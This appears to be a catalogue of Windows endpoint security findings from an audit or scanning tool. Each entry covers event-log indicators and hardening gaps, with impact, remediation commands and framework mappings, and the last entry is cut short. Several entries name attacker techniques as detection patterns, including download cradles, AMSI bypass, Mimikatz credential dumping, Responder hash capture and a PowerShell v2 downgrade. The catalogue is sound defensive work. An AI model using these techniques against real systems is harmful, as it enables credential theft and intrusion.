CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-7, SI-4
PCI DSS 4: 10.2.1, 11.4.1
CRITICAL DR-EVT-003 — Event Log: Security Log Cleared
Description: Event log clearing events detected (Event ID 1102/104). Clearing security logs destroys forensic evidence and is a strong indicator of attacker activity or insider threat attempting to cover their tracks.
Impact: Cleared security logs eliminate the audit trail of authentication events, privilege escalation, and policy changes, preventing incident investigation and regulatory compliance verification. This is a common anti-forensics technique.
Remediation: Investigate the account that cleared the logs for compromise. Configure event log forwarding to a SIEM to preserve logs centrally. Restrict log management permissions to dedicated admin accounts. Enable alerting on Event ID 1102.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1070.001 (Defense Evasion)
NIST 800-53: AU-9, SI-4
PCI DSS 4: 10.2.1
HIGH DR-EVT-004 — Event Log: Suspicious PowerShell Activity
Description: PowerShell events contain suspicious patterns including encoded commands (-EncodedCommand), download cradles (Invoke-WebRequest/IEX), AMSI bypass attempts, or known offensive tool invocations such as Mimikatz or PowerView.
Impact: Suspicious PowerShell activity may indicate post-exploitation activity, malware execution, or attacker reconnaissance. PowerShell is the most commonly abused living-off-the-land tool on Windows systems.
Remediation: Investigate each suspicious PowerShell event. Check the executing user and originating process. Enable PowerShell ScriptBlock Logging, Transcription, and Constrained Language Mode. Consider deploying AppLocker or WDAC to restrict PowerShell usage to authorized administrators.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 - Injection
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: SI-4, AU-12
PCI DSS 4: 11.4.1
MEDIUM DR-EVT-005 — Event Log: New Service Installations
Description: New service installation events (Event ID 7045/4697) recorded in event logs. Service installations are a common persistence mechanism used by malware and attackers to maintain access that survives reboots.
Impact: Attackers install malicious services to maintain persistent access. Services run with elevated privileges and can be configured to start automatically, ensuring the attacker's code runs at every boot.
Remediation: Review each new service installation for legitimacy. Verify the service executable path, signing status, and the account used for installation. Remove unauthorized services and investigate how they were installed.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1543.003 (Persistence)
NIST 800-53: SI-4, CM-3
PCI DSS 4: 10.2.1
MEDIUM DR-EVT-006 — Event Log: User Account Created
Description: User account creation events (Event ID 4720) detected in security event logs. Account creation outside of normal provisioning workflows may indicate persistence or unauthorized access by an attacker.
Impact: Attackers create local accounts to maintain persistent access. Unauthorized accounts may be added to privileged groups to escalate privileges and maintain a foothold on the compromised system.
Remediation: Verify each account creation was authorized through the proper provisioning workflow. Remove unauthorized accounts. Monitor for group membership changes (Event ID 4732) on newly created accounts.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1136.001 (Persistence)
NIST 800-53: AC-2, SI-4
PCI DSS 4: 10.2.1
HIGH DR-HDN-001 — System Hardening: UAC Disabled
Description: User Account Control (UAC) is completely disabled on this endpoint. The registry value EnableLUA under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System is set to 0.
Impact: All applications run with full administrative privileges without prompting. Malware and exploit payloads execute with elevated privileges immediately upon infection, greatly increasing the severity of any compromise.
Remediation: Re-enable UAC by setting the EnableLUA registry value to 1 at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System. Set ConsentPromptBehaviorAdmin to at least 2 (prompt for consent on secure desktop). Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > User Account Control.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1548.002 (Defense Evasion)
NIST 800-53: AC-6, CM-6
PCI DSS 4: 7.2.1
CISA KEV
MEDIUM DR-HDN-002 — System Hardening: UAC Prompt Behavior Weak
Description: The UAC elevation prompt for administrators is configured to auto-elevate without prompting (ConsentPromptBehaviorAdmin is 0) or to prompt on a non-secure desktop.
Impact: Weak UAC prompt settings allow malware to silently elevate privileges through auto-elevation or intercept elevation prompts on the interactive desktop, enabling privilege escalation without user awareness.
Remediation: Configure ConsentPromptBehaviorAdmin to 2 (prompt for consent on the secure desktop) via Group Policy or registry. Also ensure PromptOnSecureDesktop is set to 1 to prevent interception of the elevation dialog by malicious software.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1548.002 (Privilege Escalation)
NIST 800-53: AC-6, CM-6
PCI DSS 4: 7.2.1
MEDIUM DR-HDN-003 — Network Hardening: SMBv1 Protocol Enabled
Description: The deprecated SMBv1 protocol is enabled on this endpoint, either as a server or client component.
Impact: SMBv1 has known critical vulnerabilities including EternalBlue (MS17-010) and lacks modern security features. It enables remote code execution, credential relay attacks, and was the primary propagation vector for WannaCry and NotPetya ransomware.
Remediation: Disable SMBv1 by running: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol. For Server: Remove-WindowsFeature FS-SMB1. Alternatively set HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 to 0. Verify no legacy applications or devices require SMBv1 before disabling.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 2.2.4
CISA KEV
MEDIUM DR-HDN-004 — System Hardening: SMB Signing Not Required
Description: SMB message signing is not required on this endpoint, allowing unsigned SMB communications.
Impact: Without mandatory SMB signing, an attacker in a man-in-the-middle position can intercept and modify SMB traffic, perform relay attacks (NTLM relay), and hijack authenticated SMB sessions to access file shares or execute commands on other systems.
Remediation: Enable mandatory SMB signing by setting RequireSecuritySignature to 1 at HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters and LanmanWorkstation\Parameters. Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Microsoft network server/client: Digitally sign communications (always).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-8, SC-23
PCI DSS 4: 4.2.1
HIGH DR-HDN-005 — Authentication: NTLMv1 Authentication Allowed
Description: The LAN Manager authentication level allows NTLMv1 responses, a weak authentication protocol that is trivially crackable.
Impact: NTLMv1 hashes can be cracked in seconds using rainbow tables or GPU-accelerated attacks, exposing user passwords. An attacker capturing NTLMv1 traffic on the network can recover plaintext credentials for lateral movement.
Remediation: Set LmCompatibilityLevel to 5 (Send NTLMv2 response only. Refuse LM & NTLM) at HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network security: LAN Manager authentication level. Test thoroughly as legacy devices may require NTLMv1.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 8.3.2
HIGH DR-HDN-006 — Authentication: LM Password Hashes Stored
Description: The system is configured to store LAN Manager (LM) hash values for passwords, a severely weak hash format.
Impact: LM hashes split passwords into two 7-character halves, are case-insensitive, and use DES without salt. They can be cracked in minutes even for complex passwords, giving an attacker who obtains the SAM database or captures authentication traffic immediate access to plaintext passwords.
Remediation: Set NoLMHash to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Lsa to prevent storage of LM hashes. Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network security: Do not store LAN Manager hash value on next password change. Force all users to change passwords after enabling.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1003.002 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.2
MEDIUM DR-HDN-007 — System Hardening: AutoRun Enabled
Description: AutoRun/AutoPlay is enabled, allowing automatic execution of programs from removable media and network drives.
Impact: Malware can be automatically executed when a USB drive, CD/DVD, or network share is accessed. This is a classic initial access vector used by worms (Conficker) and targeted attacks using planted USB devices.
Remediation: Set NoDriveTypeAutoRun to 255 (0xFF) at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer to disable AutoRun on all drive types. Apply via Group Policy: Computer Configuration > Administrative Templates > Windows Components > AutoPlay Policies > Turn off Autoplay (All drives).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1091 (Initial Access)
NIST 800-53: CM-7, MP-7
PCI DSS 4: 2.2.4
CRITICAL DR-HDN-008 — Credential Exposure: WDigest Plaintext Credentials
Description: WDigest authentication is configured to store plaintext credentials in memory (UseLogonCredential set to 1 at HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest).
Impact: An attacker who achieves local administrator access can use tools like Mimikatz to extract plaintext passwords from LSASS process memory for all currently logged-in users, including domain administrators. This enables immediate lateral movement without any cracking.
Remediation: Set UseLogonCredential to 0 at HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. On Windows 8.1/Server 2012 R2 and later with KB2871997 installed, WDigest plaintext caching is disabled by default. Verify the registry value is explicitly set to 0 to prevent re-enablement by malware.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1003.001 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.2
HIGH DR-HDN-009 — System Hardening: LSA Protection Not Enabled
Description: Local Security Authority (LSA) protection is not enabled. The RunAsPPL registry value is not set to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Lsa.
Impact: Without LSA protection, the LSASS process can be accessed by any process running as local administrator. Attackers can dump credentials from LSASS memory using standard tools, bypassing most endpoint security controls.
Remediation: Enable LSA protection by setting RunAsPPL to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Lsa. A system restart is required. Test application compatibility first as some security products may not function with PPL enabled. On Windows 11 22H2+, LSA protection is enabled by default.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1003.001 (Credential Access)
NIST 800-53: AC-6, SI-7
PCI DSS 4: 8.3.1
MEDIUM DR-HDN-010 — System Hardening: Credential Guard Not Enabled
Description: Windows Defender Credential Guard (Virtualization Based Security for credential isolation) is not enabled on this endpoint.
Impact: Without Credential Guard, NTLM hashes and Kerberos TGTs stored in LSASS memory can be extracted by tools running as local administrator. Credential Guard isolates these secrets in a hardware-backed virtual enclave that even kernel-level attackers cannot access.
Remediation: Enable Credential Guard by setting EnableVirtualizationBasedSecurity to 1 at HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard and RequirePlatformSecurityFeatures to 1 or 3. Prerequisites: UEFI firmware, Secure Boot, TPM 2.0, and 64-bit Windows 10/11 Enterprise or Server 2016+. Apply via Group Policy: Computer Configuration > Administrative Templates > System > Device Guard.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1003.001 (Credential Access)
NIST 800-53: SC-39, SC-28
PCI DSS 4: 8.3.1
HIGH DR-HDN-011 — Network Hardening: LLMNR Enabled
Description: Link-Local Multicast Name Resolution (LLMNR) is enabled, allowing unauthenticated name resolution on the local network.
Impact: An attacker on the local network can respond to LLMNR queries to capture NTLMv2 hashes from connecting clients using tools like Responder. These hashes can be cracked offline or relayed to other services for unauthorized access.
Remediation: Disable LLMNR via Group Policy: Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution. Set EnableMulticast to 0 at HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient. Ensure proper DNS infrastructure is in place as a replacement.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-8, CM-7
PCI DSS 4: 2.2.4
MEDIUM DR-HDN-012 — Network Hardening: WPAD Enabled
Description: Web Proxy Auto-Discovery (WPAD) protocol is enabled, allowing automatic proxy configuration via DNS or DHCP.
Impact: An attacker can poison WPAD queries via LLMNR/NBNS or rogue DHCP to redirect all HTTP traffic through a malicious proxy, enabling credential interception, session hijacking, and man-in-the-middle attacks on all web traffic.
Remediation: Disable the WinHTTP Auto-Proxy Service (WinHttpAutoProxySvc) and set its startup to Disabled. In Internet Options, uncheck 'Automatically detect settings'. If proxy auto-configuration is needed, use explicit PAC file URLs rather than WPAD discovery.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-8, CM-7
PCI DSS 4: 4.2.1
MEDIUM DR-HDN-013 — Monitoring: PowerShell Script Block Logging Disabled
Description: PowerShell script block logging is not enabled, preventing the recording of PowerShell script content in Windows Event Logs.
Impact: Without script block logging, PowerShell-based attacks (obfuscated download cradles, in-memory execution, AMSI bypasses) leave no forensic evidence. Incident response teams cannot determine what malicious PowerShell commands were executed.
Remediation: Enable PowerShell script block logging via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging. Set EnableScriptBlockLogging to 1 at HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: AU-2, AU-3, AU-12
PCI DSS 4: 10.2.1
LOW DR-HDN-014 — Monitoring: PowerShell Module Logging Disabled
Description: PowerShell module logging is not enabled, which would record pipeline execution details for specified modules.
Impact: Module logging provides a detailed record of which PowerShell cmdlets and functions were invoked. Without it, forensic investigators have reduced visibility into the specific operations performed during an attack.
Remediation: Enable PowerShell module logging via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Module Logging. Configure the module names to log (use * for all modules).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: AU-2, AU-12
PCI DSS 4: 10.2.1
LOW DR-HDN-015 — Monitoring: PowerShell Transcription Disabled
Description: PowerShell transcription (recording of all PowerShell input and output to text files) is not enabled.
Impact: Transcription provides a complete record of interactive and scripted PowerShell sessions including output. Without it, defenders lose a valuable forensic data source for investigating PowerShell-based attacks.
Remediation: Enable PowerShell transcription via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Transcription. Configure the output directory to a secured file share for centralized collection. Ensure adequate disk space and proper NTFS permissions on the transcript directory.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: AU-2, AU-12
PCI DSS 4: 10.2.1
MEDIUM DR-HDN-016 — System Hardening: PowerShell v2 Engine Available
Description: The PowerShell v2 engine is still installed as a Windows feature, providing a downgrade path that bypasses modern logging and security controls.
Impact: Attackers can invoke PowerShell v2 (powershell -version 2) to bypass AMSI, script block logging, constrained language mode, and other security features that only exist in PowerShell v5+. This is a well-documented defense evasion technique.
Remediation: Remove the PowerShell v2 engine: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root. For Server: Remove-WindowsFeature PowerShell-V2. Verify no applications depend on PowerShell v2 before removal.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: CM-7, SI-16
PCI DSS 4: 2.2.4
HIGH DR-HDN-017 — Endpoint Protection: Windows Defender Disabled
Description: Windows Defender Antivirus is completely disabled or not running on this endpoint with no alternative antimalware solution detected.
Impact: Without antimalware protection, all known malware including commodity threats, ransomware, and trojans can execute without detection. The system has no real-time file scanning, web filtering, or behavior monitoring.
Remediation: Re-enable Windows Defender by removing any Group Policy that disables it (DisableAntiSpyware registry key), starting the WinDefend service, and ensuring real-time protection is turned on. If a third-party antivirus is intended, verify it is properly installed and running. Ensure at minimum one antimalware solution is active at all times.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-3, SC-7
PCI DSS 4: 5.2.1
MEDIUM DR-HDN-018 — Endpoint Protection: Defender Exclusions Present
Description: Windows Defender has file, folder, process, or extension exclusions configured that exempt certain paths or processes from scanning.
Impact: Attackers frequently target known exclusion paths to stage and execute malware. Common exclusion paths like temp directories, development folders, or application paths become safe havens for malicious payloads that will never be scanned.
Remediation: Review all Windows Defender exclusions and remove any that are not strictly necessary for application compatibility. Document the business justification for each remaining exclusion. Avoid broad exclusions (entire drives, common directories). Monitor excluded paths for suspicious file creation via separate detection mechanisms.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-3
PCI DSS 4: 5.2.1
HIGH DR-HDN-019 — Endpoint Protection: Defender Real-Time Protection Off
Description: Windows Defender is installed but real-time protection is turned off, leaving the system without active file scanning.
Impact: Files downloaded, copied, or created are not scanned until a manual or scheduled scan occurs. Malware can execute immediately upon arrival without triggering any detection, potentially running for hours or days before a scheduled scan.
Remediation: Enable real-time protection in Windows Security settings or via PowerShell: Set-MpPreference -DisableRealtimeMonitoring $false. If Group Policy is preventing this, update the policy to allow real-time protection. Verify protection is active with Get-MpComputerStatus.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-3
PCI DSS 4: 5.2.1
HIGH DR-HDN-020 — Remote Desktop: RDP Without NLA
Description: Remote Desktop Protocol is enabled without requiring Network Level Authentication (NLA), allowing unauthenticated users to reach the RDP login screen.
Impact: Without NLA, attackers can establish RDP sessions without credentials, consuming server resources (DoS) and reaching the Windows login screen where they can attempt credential attacks. This also exposes the system to pre-authentication RDP vulnerabilities like BlueKeep.
Remediation: Enable NLA for Remote Desktop by setting UserAuthentication to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp. Apply via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Security > Require user authentication for remote connections by using Network Level Authentication.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: AC-17, IA-2
PCI DSS 4: 8.3.1
CISA KEV
MEDIUM DR-HDN-021 — System Hardening: DEP Not System-Wide
Description: Data Execution Prevention (DEP) is not configured to protect all programs, only essential Windows programs and services.
Impact: Without system-wide DEP, buffer overflow exploits can execute shellcode in data memory regions. DEP prevents code execution from non-executable memory pages, making many common exploitation techniques significantly harder.
Remediation: Configure DEP to protect all programs by running: bcdedit /set nx AlwaysOn. Alternatively, configure via System Properties > Advanced > Performance Settings > Data Execution Prevention > Turn on DEP for all programs and services except those I select. Add specific exceptions only for applications that are confirmed incompatible.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1203 (Execution)
NIST 800-53: SI-16, CM-6
PCI DSS 4: 6.2.4
HIGH DR-HDN-022 — Access Control: Anonymous Named Pipe Access
Description: Anonymous (null session) access to named pipes is permitted, allowing unauthenticated users to connect to specific named pipes on the system.
Impact: Attackers can enumerate sensitive information through named pipes without authentication, including user lists, group memberships, share lists, and security policies. This information aids in planning targeted credential attacks and privilege escalation.
Remediation: Clear the NullSessionPipes registry value at HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters and set RestrictNullSessAccess to 1. Apply via Group Policy: Network access: Restrict anonymous access to Named Pipes and Shares (Enabled).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: AC-14, AC-3
PCI DSS 4: 7.2.1
HIGH DR-HDN-023 — Access Control: Null Session Access
Description: The system allows null session (anonymous) connections for SAM enumeration and share enumeration.
Impact: Attackers can connect without credentials to enumerate all user accounts, groups, and network shares. This provides a complete map of the attack surface and user accounts to target for password spraying or brute force attacks.
Remediation: Set RestrictAnonymousSAM to 1 and RestrictAnonymous to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Apply via Group Policy: Network access: Do not allow anonymous enumeration of SAM accounts (Enabled) and Network access: Do not allow anonymous enumeration of SAM accounts and shares (Enabled).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: AC-14, AC-3
PCI DSS 4: 7.2.1
MEDIUM DR-HDN-024 — Policy: Audit Policy Insufficient
Description: The Windows audit policy does not log critical security events. Key audit categories such as logon events, privilege use, object access, or policy changes are not configured for success and/or failure auditing.
Impact: Without comprehensive audit logging, security incidents go undetected and uninvestigated. Login attempts, privilege escalation, file access, and policy changes occur without any record, severely impacting incident response and forensic capabilities.
Remediation: Configure advanced audit policy via Group Policy to log at minimum: Logon/Logoff (Success+Failure), Account Logon (Success+Failure), Privilege Use (Success+Failure), Object Access (Failure), Policy Change (Success+Failure), System (Success+Failure). Use auditpol to verify: auditpol /get /category:*.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1562.002 (Defense Evasion)
NIST 800-53: AU-2, AU-3
PCI DSS 4: 10.2.1
MEDIUM DR-HDN-025 — Service Hardening: Print Spooler Running
Description: The Print Spooler service is running on a server where printing functionality is likely not required.
Impact: The Print Spooler service has been the target of multiple critical vulnerabilities including PrintNightmare (CVE-2021-34527) enabling remote code execution and privilege escalation. Running it on servers unnecessarily increases the attack surface.
Remediation: Disable the Print Spooler service on servers that do not need printing: Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled. On domain controllers, the Spooler should always be disabled as it exposes the DC to coercion attacks via the MS-RPRN protocol.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
CISA KEV
MEDIUM DR-HDN-026 — Endpoint Protection: Application Whitelisting Not Configured
Description: Neither AppLocker nor Windows Defender Application Control (WDAC) is configured on this system. Without application whitelisting, any executable, script, or DLL can run without restriction.
Impact: Without application control, an attacker can execute arbitrary malware, scripts, and tools on the system without restriction. Application whitelisting is consistently rated as one of the most effective endpoint security controls by ACSC Essential Eight, NIST, and CIS. Its absence significantly increases the attack surface for malware execution, lateral movement tools, and post-exploitation frameworks.
Remediation: Implement AppLocker or Windows Defender Application Control (WDAC). Start in audit mode to identify legitimate applications, then switch to enforce mode. At minimum, implement script rules to block unauthorized script execution. For WDAC: create a base policy with Microsoft recommended block rules, then supplement with organization-specific allow rules. For AppLocker: configure default rules plus explicit allow rules for approved applications.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: CM-7(5), SI-7
PCI DSS 4: 5.3.1, 2.2.1
MEDIUM DR-HDN-027 — System Hardening: HVCI Not Enabled
Description: Hypervisor-Protected Code Integrity (HVCI / Memory Integrity) is not enabled on this system. HVCI uses virtualization-based security (VBS) to protect the Windows kernel code integrity verification process, preventing kernel-mode code injection and driver-based attacks.
Impact: Without HVCI, the kernel is vulnerable to code injection attacks via malicious drivers, kernel exploits, and rootkits. HVCI prevents unsigned or improperly signed kernel-mode code from executing, significantly raising the bar for kernel-level attacks. Its absence leaves the system vulnerable to bootkit/rootkit installations and kernel-mode exploit payloads.
Remediation: Enable HVCI via Group Policy: Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security > Virtualization Based Protection of Code Integrity = Enabled with UEFI lock. Alternatively, enable via Windows Security > Device Security > Core isolation > Memory integrity. Prerequisites: compatible CPU with virtualization extensions (Intel VT-x/AMD-V), UEFI firmware, Secure Boot enabled.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1553 (Defense Evasion)
NIST 800-53: SI-7, SI-16, CM-6
PCI DSS 4: 5.3.1
MEDIUM DR-HDN-028 — System Hardening: CredSSP Delegation Enabled
Description: Credential Security Support Provider (CredSSP) delegation is enabled, allowing this system to forward user credentials to remote servers. The AllowFreshCredentials or AllowFreshCredentialsDomain policies permit credential delegation to specified or all remote hosts.
Impact: CredSSP delegation sends the user's cleartext credentials to the remote server. If the remote server is compromised, these credentials are immediately available to the attacker. CredSSP delegation to '*' (all servers) is especially dangerous as it enables credential forwarding to any host, including attacker-controlled machines. This defeats the purpose of Restricted Admin mode and other credential protection mechanisms.
Remediation: Disable CredSSP delegation via Group Policy: Computer Configuration > Administrative Templates > System > Credentials Delegation > Allow delegating fresh credentials = Disabled. If CredSSP is required for specific administrative tasks, restrict delegation to specific trusted servers only (never use '*'). Apply CVE-2018-0886 patches. Consider using Remote Credential Guard instead of CredSSP for RDP sessions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1550.001 (Lateral Movement)
NIST 800-53: IA-5, SC-28, AC-17
PCI DSS 4: 8.3.1, 8.3.2
MEDIUM DR-HDN-029 — Endpoint Protection: AMSI Not Registered
Description: No Antimalware Scan Interface (AMSI) provider is registered on this system. AMSI is a Windows interface that allows applications to send content (scripts, macro code, .NET assemblies) to the installed antimalware solution for scanning before execution.
Impact: Without AMSI, script-based attacks (PowerShell, VBScript, JScript, .NET) can execute malicious code without real-time scanning. AMSI is the primary defense against fileless malware, obfuscated scripts, and in-memory attacks. Its absence or deregistration is a common attacker technique (T1562.001) to disable defenses before deploying payloads.
Remediation: Verify that Windows Defender or a third-party antimalware solution with AMSI support is installed and active. Check AMSI provider registration: reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers" /s. If no providers are listed, reinstall or re-register the antimalware solution. If AMSI was deliberately tampered with, investigate as a potential compromise indicator.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-3, SI-4
PCI DSS 4: 5.2.1, 5.3.1
LOW DR-HDN-030 — System Hardening: .NET Framework v2/v3.5 Installed
Description: .NET Framework version 2.0 or 3.5 is installed on this system. These legacy .NET versions include the CLR v2 runtime which has weaker security controls than CLR v4 and can be leveraged by attackers to bypass application-level security restrictions.
